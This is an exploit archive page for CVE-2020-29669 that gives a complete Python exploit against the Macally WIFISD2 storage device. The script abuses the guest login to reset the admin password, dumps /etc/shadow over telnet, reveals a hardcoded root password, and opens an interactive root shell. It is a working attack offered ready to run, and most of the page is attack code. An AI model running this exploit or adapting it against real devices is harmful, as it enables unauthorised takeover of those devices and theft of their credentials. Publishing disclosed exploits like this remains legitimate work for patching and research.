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Macally WIFISD2-2A82 2.000.010 Privilege Escalation

Macally WIFISD2-2A82 2.000.010 Privilege Escalation
Posted Dec 14, 2020
Authored by Maximilian Barz, Daniel Schwendner

Macally WIFISD2-2A82 version 2.000.010 guest to root privilege escalation exploit.

tags | exploit, root
advisories | CVE-2020-29669
MD5 | 973230f1407ec95befb0262f806bbaef

Macally WIFISD2-2A82 2.000.010 Privilege Escalation

Change Mirror Download
# Exploit Title: Macally WIFISD2-2A82 2.000.010 - Guest to Root Privilege Escalation
# Date: 03.12.2020
# Exploit Author: Maximilian Barz and Daniel Schwendner
# Vendor Homepage: https://us.macally.com/products/wifisd2
# Version: 2.000.010
# Tested on: Kali Linux 5.7.0-kali1-amd64
# CVE : CVE-2020-29669
# Reference: https://github.com/S1lkys/CVE-2020-29669/

#!/usr/bin/env/python3
import requests
import telnetlib
import os
import sys
import re

banner = '''\033[94m
██████ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄▄▄▄ █ ██ ██▀███ ██████ ▄▄▄█████▓
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▒██████▒▒ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒░▓█ ▀█▓▒▒█████▓ ░██▓ ▒██▒▒██████▒▒ ▒██▒ ░
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░ ░▒ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░▒ ░ ▒░░ ░▒ ░ ░ ░
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░ ░ ░ ░ ░ ░ ░ ░

\x1b[0m
Macally WIFISD2 Guest to Root Privilege Escalation for CVE-2020-29669 by Maximilian Barz and Daniel Schwendner
'''
def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return
rhost = sys.argv[1]
session = requests.Session()
guest_creds = "guest_pass"
admin_pass_to_set = "Silky123"

def send_requests():
url = "http://"+rhost+"/protocol.csp?function=set"
payload = {'fname':'security','opt':'pwdchk','name':'guest','pwd1':guest_creds,'function':'set'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://'+rhost+'/index.html',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '65',
'Connection': 'close',
'Cache-Control': 'no-cache',
}

r= session.post(url, payload, headers)
if (b"<errno>0</errno>" in r.content):
print("\033[92m[+] Authentication successful\x1b[0m")
print("\t"+str(session.cookies.get_dict()))
else:
print("\033[91m[+] Authentication failed.\x1b[0m")
sys.exit()

url = "http://"+rhost+"/protocol.csp?fname=security&function=set"
payload = {'name':'admin','opt':'pwdmod','pwd1':admin_pass_to_set,'pwd2':admin_pass_to_set}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://'+rhost+'/app/user/guest.html',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '49',
'Connection': 'close',
'Cache-Control': 'no-cache',
}
d = session.post(url, payload, headers)
if (b"<errno>0</errno>" in d.content):
print("\033[92m[+] Admin Password changed to: "+admin_pass_to_set+"\x1b[0m")
telnet_grep_root_hash()
#print("[+] Spawning Admin Shell")
#telnet_login()
else:
print("\033[91m[+] Admin Password change failed\x1b[0m")
sys.exit()


def telnet_grep_root_hash():
user = "admin"
tn = telnetlib.Telnet(rhost)
tn.read_until(b"login: ")
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"Password: ")
tn.write(admin_pass_to_set.encode('ascii') + b"\n")
print("\033[92m[+] Dumping Hashes:\x1b[0m")
tn.write(b"cat /etc/shadow\n\r")
tn.write(b"exit\n")
output = tn.read_all().decode('ascii')
L = output.split('\n')
for hash in L:
if ":" in hash:
print("\t"+hash)
print("\n\r")
for hash in L:
if "root" in hash:
print("\033[92m[+] Root Hash found, trying to crack it..\x1b[0m")
print("\t"+hash) #root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::
f = open("root_hash","w+")
f.write(hash)
f.close()
crack_root_hash();


def crack_root_hash():
f = open("root_hash", "r")
hash = f.read()
if ("root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::" in hash):
print("\033[92mRoot Password: 20080826\x1b[0m\n")
telnet_login()
else:
os.system("hashcat -a 0 -m 500 root_hash /root/tools/routersploit/routersploit/resources/wordlists/passwords.txt") #https://github.com/threat9/routersploit/blob/master/routersploit/resources/wordlists/passwords.txt

def telnet_login():
print("\033[92m[+] Spawning Rootshell\x1b[0m")
user = "root"
root_password="20080826"
tn = telnetlib.Telnet(rhost)
tn.read_until(b"login: ")
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"Password: ")
tn.write(root_password.encode('ascii') + b"\n")
tn.interact()
print(banner)
send_requests()

if(__name__ == '__main__'):
main()



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